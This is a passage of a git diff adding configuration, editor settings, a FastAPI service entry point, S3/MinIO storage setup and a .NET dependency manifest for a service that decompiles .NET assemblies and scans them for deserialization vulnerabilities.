+ "enrichment/lib/ext_tools/*",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [
+ "enrichment/lib/ext_tools"
+ ],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/cmd/dashboard/pytest.ini b/cmd/dashboard/pytest.ini
new file mode 100644
index 0000000..a318d22
--- /dev/null
+++ b/cmd/dashboard/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+minversion = 6.0
+asyncio_mode = auto
+addopts = -ra -q
+testpaths =
+ tests
diff --git a/cmd/dashboard/tests/__init__.py b/cmd/dashboard/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/dotnet/.flake8 b/cmd/dotnet/.flake8
new file mode 100644
index 0000000..2732aed
--- /dev/null
+++ b/cmd/dotnet/.flake8
@@ -0,0 +1,8 @@
+[flake8]
+ignore = E231, E241
+per-file-ignores =
+ __init__.py:F401
+ enrichment/lib/ext_tools/office2john.py:*
+max-line-length = 240
+count = true
+exclude = enrichment/lib/ext_tools
\ No newline at end of file
diff --git a/cmd/dotnet/.python-version b/cmd/dotnet/.python-version
new file mode 100644
index 0000000..1e33456
--- /dev/null
+++ b/cmd/dotnet/.python-version
@@ -0,0 +1 @@
+3.11.2
diff --git a/cmd/dotnet/.vscode/extensions.json b/cmd/dotnet/.vscode/extensions.json
new file mode 100644
index 0000000..5751efd
--- /dev/null
+++ b/cmd/dotnet/.vscode/extensions.json
@@ -0,0 +1,16 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations.
+ // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp
+ // List of extensions which should be recommended for users of this workspace.
+ "recommendations": [
+ "ms-python.black-formatter",
+ "ms-python.flake8",
+ "ms-python.isort",
+ "ms-python.python",
+ "ms-python.vscode-pylance",
+ "njpwerner.autodocstring",
+ "zxh404.vscode-proto3",
+ ],
+ // List of extensions recommended by VS Code that should not be recommended for users of this workspace.
+ "unwantedRecommendations": []
+}
\ No newline at end of file
diff --git a/cmd/dotnet/.vscode/launch.json b/cmd/dotnet/.vscode/launch.json
new file mode 100644
index 0000000..914b68c
--- /dev/null
+++ b/cmd/dotnet/.vscode/launch.json
@@ -0,0 +1,25 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: dotnet",
+ "type": "python",
+ "request": "launch",
+ "program": "${workspaceFolder}/dotnet/__main__.py",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": true,
+ "env": {
+ "LOG_LEVEL": "DEBUG",
+ "ENVIRONMENT": "development",
+ "PROMETHEUS_PORT": "18000",
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ },
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/dotnet/.vscode/settings.json b/cmd/dotnet/.vscode/settings.json
new file mode 100644
index 0000000..13e33e0
--- /dev/null
+++ b/cmd/dotnet/.vscode/settings.json
@@ -0,0 +1,64 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.formatOnSave": true,
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter"
+ },
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.formatting.provider": "black",
+ "python.languageServer": "Pylance",
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+ "problems.showOnSave": true
+}
\ No newline at end of file
diff --git a/cmd/dotnet/.vscode/tasks.json b/cmd/dotnet/.vscode/tasks.json
new file mode 100644
index 0000000..00b0263
--- /dev/null
+++ b/cmd/dotnet/.vscode/tasks.json
@@ -0,0 +1,12 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Type Checking",
+ "type": "shell",
+ "command": "poetry run pyright"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/dotnet/README.md b/cmd/dotnet/README.md
new file mode 100644
index 0000000..acf6bb7
--- /dev/null
+++ b/cmd/dotnet/README.md
@@ -0,0 +1,5 @@
+# dotnet
+
+Downloads the supplied Nemesis file/object ID from storage, and then:
+- Uses ilspy to decompile the assembly as a complete project, zips and uploads the source to storage, and returns a new Nemesis object ID referencing the new .zip
+- Uses a customized version of InspectAssembly to examine the assembly for deserialization/remoting vulns
diff --git a/cmd/dotnet/dotnet/__init__.py b/cmd/dotnet/dotnet/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/dotnet/dotnet/__main__.py b/cmd/dotnet/dotnet/__main__.py
new file mode 100644
index 0000000..d2a1809
--- /dev/null
+++ b/cmd/dotnet/dotnet/__main__.py
@@ -0,0 +1,13 @@
+# Standard Libraries
+import asyncio
+
+# 3rd Party Libraries
+from dotnet.app import App
+
+
+def main():
+ asyncio.run(App().start())
+
+
+if __name__ == "__main__":
+ main()
diff --git a/cmd/dotnet/dotnet/app.py b/cmd/dotnet/dotnet/app.py
new file mode 100644
index 0000000..eb7ee7d
--- /dev/null
+++ b/cmd/dotnet/dotnet/app.py
@@ -0,0 +1,72 @@
+# Standard Libraries
+
+# 3rd Party Libraries
+import structlog
+import uvicorn
+from dotnet.services.dotnet import DotnetAPI
+from dotnet.settings import DotnetSettings
+from fastapi import FastAPI
+from nemesiscommon.storage_s3 import StorageS3
+from nemesiscommon.storage_minio import StorageMinio
+from nemesiscommon.storage import StorageInterface
+from prometheus_async.aio.web import start_http_server
+
+logger = structlog.get_logger(module=__name__)
+
+
+class App:
+ cfg: DotnetSettings
+ storage: StorageInterface
+
+ def __init__(self) -> None:
+ self.cfg = DotnetSettings() # type: ignore
+
+ async def start(self):
+ await logger.ainfo("Application started")
+
+ await logger.ainfo("Starting prometheus")
+ await start_http_server(port=self.cfg.prometheus_port)
+
+ if self.cfg.storage_provider.lower() == "s3":
+ await logger.ainfo("Starting S3 storage backend")
+ self.storage = StorageS3(
+ assessment_id=self.cfg.assessment_id,
+ data_download_dir=self.cfg.data_download_dir,
+ aws_access_key_id=self.cfg.aws_access_key_id,
+ aws_secret_access_key=self.cfg.aws_secret_access_key,
+ aws_default_region=self.cfg.aws_default_region,
+ aws_bucket_name=self.cfg.aws_bucket,
+ aws_kms_key_alias=self.cfg.aws_kms_key_alias,
+ )
+ elif self.cfg.storage_provider.lower() == "minio":
+ await logger.ainfo("Starting minio storage backend")
+ self.storage = StorageMinio(
+ assessment_id=self.cfg.assessment_id,
+ data_download_dir=self.cfg.data_download_dir,
+ access_key=self.cfg.minio_root_user,
+ secret_key=self.cfg.minio_root_password,
+ )
+ else:
+ await logger.aerror("Storage provider not supported", storage_provider=self.cfg.storage_provider)
+ raise
+
+ await logger.ainfo("Starting service")
+
+ await self.start_dotnet()
+
+ await logger.ainfo("Application shutting down")
+
+ def custom_exception_handler(self, loop, context):
+ # first, handle with default handler
+ loop.default_exception_handler(context)
+ e = context.get("exception")
+ logger.exception("asyncio exception", e)
+ loop.stop()
+
+ async def start_dotnet(self) -> None:
+ app = FastAPI()
+ routes = DotnetAPI(self.cfg, self.storage)
+ app.include_router(routes.router)
+ config = uvicorn.Config(app, host="0.0.0.0", port=9800, log_level=self.cfg.log_level.lower(), loop="asyncio")
+ server = uvicorn.Server(config)
+ await server.serve()
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json
new file mode 100644
index 0000000..0c5e62f
--- /dev/null
+++ b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json
@@ -0,0 +1,1269 @@
+{
+ "runtimeTarget": {
+ "name": ".NETCoreApp,Version=v6.0",
+ "signature": ""
+ },
+ "compilationOptions": {},
+ "targets": {
+ ".NETCoreApp,Version=v6.0": {
+ "InspectAssembly/1.0.0": {
+ "dependencies": {
+ "Costura.Fody": "5.7.0",
+ "Fody": "6.6.3",
+ "Mono.Cecil": "0.11.4",
+ "Newtonsoft.Json": "13.0.1"
+ },
+ "runtime": {
+ "InspectAssembly.dll": {}
+ }
+ },
+ "Costura.Fody/5.7.0": {
+ "dependencies": {
+ "Fody": "6.6.3",
+ "NETStandard.Library": "1.6.1"
+ }
+ },
+ "Fody/6.6.3": {},
+ "Microsoft.NETCore.Platforms/1.1.0": {},
+ "Microsoft.NETCore.Targets/1.1.0": {},
+ "Microsoft.Win32.Primitives/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "Mono.Cecil/0.11.4": {
+ "runtime": {
+ "lib/netstandard2.0/Mono.Cecil.Mdb.dll": {
+ "assemblyVersion": "0.11.4.0",
+ "fileVersion": "0.11.4.0"
+ },
+ "lib/netstandard2.0/Mono.Cecil.Pdb.dll": {
+ "assemblyVersion": "0.11.4.0",
+ "fileVersion": "0.11.4.0"
+ },
+ "lib/netstandard2.0/Mono.Cecil.Rocks.dll": {
+ "assemblyVersion": "0.11.4.0",
+ "fileVersion": "0.11.4.0"
+ },
+ "lib/netstandard2.0/Mono.Cecil.dll": {
+ "assemblyVersion": "0.11.4.0",
+ "fileVersion": "0.11.4.0"
+ }
+ }
+ },
+ "NETStandard.Library/1.6.1": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.Win32.Primitives": "4.3.0",
+ "System.AppContext": "4.3.0",
+ "System.Collections": "4.3.0",
+ "System.Collections.Concurrent": "4.3.0",
+ "System.Console": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Diagnostics.Tools": "4.3.0",
+ "System.Diagnostics.Tracing": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.Globalization.Calendars": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.IO.Compression": "4.3.0",
+ "System.IO.Compression.ZipFile": "4.3.0",
+ "System.IO.FileSystem": "4.3.0",
+ "System.IO.FileSystem.Primitives": "4.3.0",
+ "System.Linq": "4.3.0",
+ "System.Linq.Expressions": "4.3.0",
+ "System.Net.Http": "4.3.0",
+ "System.Net.Primitives": "4.3.0",
+ "System.Net.Sockets": "4.3.0",
+ "System.ObjectModel": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Extensions": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Runtime.InteropServices.RuntimeInformation": "4.3.0",
+ "System.Runtime.Numerics": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Security.Cryptography.X509Certificates": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Text.Encoding.Extensions": "4.3.0",
+ "System.Text.RegularExpressions": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Threading.Tasks": "4.3.0",
+ "System.Threading.Timer": "4.3.0",
+ "System.Xml.ReaderWriter": "4.3.0",
+ "System.Xml.XDocument": "4.3.0"
+ }
+ },
+ "Newtonsoft.Json/13.0.1": {
+ "runtime": {
+ "lib/netstandard2.0/Newtonsoft.Json.dll": {
+ "assemblyVersion": "13.0.0.0",
+ "fileVersion": "13.0.1.25517"
+ }
+ }
+ },
+ "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.native.System/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0"
+ }
+ },
+ "runtime.native.System.IO.Compression/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0"
+ }
+ },
+ "runtime.native.System.Net.Http/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0"
+ }
+ },
+ "runtime.native.System.Security.Cryptography.Apple/4.3.0": {
+ "dependencies": {
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple": "4.3.0"
+ }
+ },
+ "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {
+ "dependencies": {
+ "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0",
+ "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": {},
+ "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {},
+ "System.AppContext/4.3.0": {
+ "dependencies": {
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Buffers/4.3.0": {
+ "dependencies": {
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Diagnostics.Tracing": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading": "4.3.0"
+ }
+ },
+ "System.Collections/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Collections.Concurrent/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Diagnostics.Tracing": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.Console/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Text.Encoding": "4.3.0"
+ }
+ },
+ "System.Diagnostics.Debug/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Diagnostics.DiagnosticSource/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Tracing": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading": "4.3.0"
+ }
+ },
+ "System.Diagnostics.Tools/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Diagnostics.Tracing/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Globalization/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Globalization.Calendars/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Globalization": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Globalization.Extensions/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Globalization": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0"
+ }
+ },
+ "System.IO/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.IO.Compression/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Buffers": "4.3.0",
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Threading.Tasks": "4.3.0",
+ "runtime.native.System": "4.3.0",
+ "runtime.native.System.IO.Compression": "4.3.0"
+ }
+ },
+ "System.IO.Compression.ZipFile/4.3.0": {
+ "dependencies": {
+ "System.Buffers": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.IO.Compression": "4.3.0",
+ "System.IO.FileSystem": "4.3.0",
+ "System.IO.FileSystem.Primitives": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Text.Encoding": "4.3.0"
+ }
+ },
+ "System.IO.FileSystem/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.IO.FileSystem.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.IO.FileSystem.Primitives/4.3.0": {
+ "dependencies": {
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Linq/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0"
+ }
+ },
+ "System.Linq.Expressions/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Linq": "4.3.0",
+ "System.ObjectModel": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Emit": "4.3.0",
+ "System.Reflection.Emit.ILGeneration": "4.3.0",
+ "System.Reflection.Emit.Lightweight": "4.3.0",
+ "System.Reflection.Extensions": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Reflection.TypeExtensions": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Threading": "4.3.0"
+ }
+ },
+ "System.Net.Http/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Diagnostics.DiagnosticSource": "4.3.0",
+ "System.Diagnostics.Tracing": "4.3.0",
+ "System.Globalization": "4.3.0",
+ "System.Globalization.Extensions": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.IO.FileSystem": "4.3.0",
+ "System.Net.Primitives": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.OpenSsl": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Security.Cryptography.X509Certificates": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "System.Threading": "4.3.0",
+ "System.Threading.Tasks": "4.3.0",
+ "runtime.native.System": "4.3.0",
+ "runtime.native.System.Net.Http": "4.3.0",
+ "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "System.Net.Primitives/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Handles": "4.3.0"
+ }
+ },
+ "System.Net.Sockets/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.Net.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading.Tasks": "4.3.0"
+ }
+ },
+ "System.ObjectModel/4.3.0": {
+ "dependencies": {
+ "System.Collections": "4.3.0",
+ "System.Diagnostics.Debug": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Threading": "4.3.0"
+ }
+ },
+ "System.Reflection/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.Emit/4.3.0": {
+ "dependencies": {
+ "System.IO": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Emit.ILGeneration": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.Emit.ILGeneration/4.3.0": {
+ "dependencies": {
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.Emit.Lightweight/4.3.0": {
+ "dependencies": {
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Emit.ILGeneration": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.Extensions/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Reflection": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.Primitives/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Reflection.TypeExtensions/4.3.0": {
+ "dependencies": {
+ "System.Reflection": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Resources.ResourceManager/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Globalization": "4.3.0",
+ "System.Reflection": "4.3.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Runtime/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0"
+ }
+ },
+ "System.Runtime.Extensions/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Runtime.Handles/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Runtime": "4.3.0"
+ }
+ },
+ "System.Runtime.InteropServices/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "Microsoft.NETCore.Targets": "1.1.0",
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Primitives": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Handles": "4.3.0"
+ }
+ },
+ "System.Runtime.InteropServices.RuntimeInformation/4.3.0": {
+ "dependencies": {
+ "System.Reflection": "4.3.0",
+ "System.Reflection.Extensions": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Threading": "4.3.0",
+ "runtime.native.System": "4.3.0"
+ }
+ },
+ "System.Runtime.Numerics/4.3.0": {
+ "dependencies": {
+ "System.Globalization": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.Algorithms/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.Collections": "4.3.0",
+ "System.IO": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Runtime.Numerics": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0",
+ "runtime.native.System.Security.Cryptography.Apple": "4.3.0",
+ "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0"
+ }
+ },
+ "System.Security.Cryptography.Cng/4.3.0": {
+ "dependencies": {
+ "Microsoft.NETCore.Platforms": "1.1.0",
+ "System.IO": "4.3.0",
+ "System.Resources.ResourceManager": "4.3.0",
+ "System.Runtime": "4.3.0",
+ "System.Runtime.Extensions": "4.3.0",
+ "System.Runtime.Handles": "4.3.0",
+ "System.Runtime.InteropServices": "4.3.0",
+ "System.Security.Cryptography.Algorithms": "4.3.0",
+ "System.Security.Cryptography.Encoding": "4.3.0",
+ "System.Security.Cryptography.Primitives": "4.3.0",
+ "System.Text.Encoding": "4.3.0"
